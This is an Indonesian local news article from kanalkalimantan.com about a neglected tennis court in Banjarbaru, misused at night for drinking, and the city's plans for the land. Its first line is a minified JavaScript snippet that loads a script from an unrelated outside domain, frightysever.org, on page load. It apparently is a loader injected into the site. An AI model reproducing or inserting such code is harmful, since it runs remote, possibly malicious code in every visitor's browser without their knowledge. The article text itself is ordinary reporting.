(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Salah satu lapangan tenis di wilayah Kelurahan Guntung Paikat, Kecamatan Banjarbaru Selatan jadi sorotan. Pasalnya, lapangan tenis yang berlokasi di samping RTH Taman Gembira atau di samping kampus ATPN Banjarbaru ini tampak terbengkalai.
Tak dipakainya fasilitas olahraga ini terpantau dari lebatnya semak belukar yang menghiasi pagar lapangan. Kemudian di bagian dalamnya, net tenis juga tampak tak terpasang. Bahkan di bagian yang biasa digunakan sebagai tempat menonton maupun istirahat para pemain tampak kumuh dan dicoret-coret.
Parahnya, menurut keterangan Rama (24) salah satu warga kota Banjarbaru, akibat tidak digunakan, Lapangan tersebut pada malam hari kerap kali disalahgunakan oleh sekumpulan remaja dengan aktivitas yang berbau negatif.
“Iya, kadang melihat ada yang mabuk-mabukan di sana kalau tengah malam. Bahkan, pasangan yang bukan muhrim juga di sana. Saya pernah bersama teman-teman saya, menemukan botol-botol miras habis pakai,” katanya kepada kanalkalimantan.com.
Dari pantauan di lapangan, memang tampak lapangan tenis ini begitu gelap di malam hari. Khususnya pasca shalat Isya. Alhasil, tak menutup kemungkinan tempat ini disalahgunakan.
Terkait status lapangan, rupanya saat ini wewenangnya pun masih abu-abu atau belum jelas. Hanya saja, Pemko Banjarbaru memastikan jika lahan memang milik aset daerah. “Untuk lahannya memang aset kita (Pemko), tapi soal siapa yang punya lapangan masih kita telusuri sejauh ini,” konfirmasi Kepala BPKAD (Badan Pengelola Keuangan & Aset Daerah) Banjarbaru, Jainudin.
Lantas bagaimana tindaklanjut atas lapangan yang dinilai terbengkalai ini? Jainudin menjawab jika memang Pemko akan mengelolanya ke depannya. Namun untuk peruntukkannya dia belum bisa memvonis secara dini. “Yang jelas buat fasum (fasilitas umum), bentuknya apa kita belum bisa pastikan,” terangnya.
Dalam waktu dekat, Pemko ucap Jainuddin akan segera mengukur dari lahan tersebut. Kemudian pihaknya turut melacak siapa pemegang wewenang lapangan tersebut. “Meski lahannya milik kita, tentu etikanya kita akan meminta izin dahulu untuk pengalihfungsian lahan tersebut,” pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.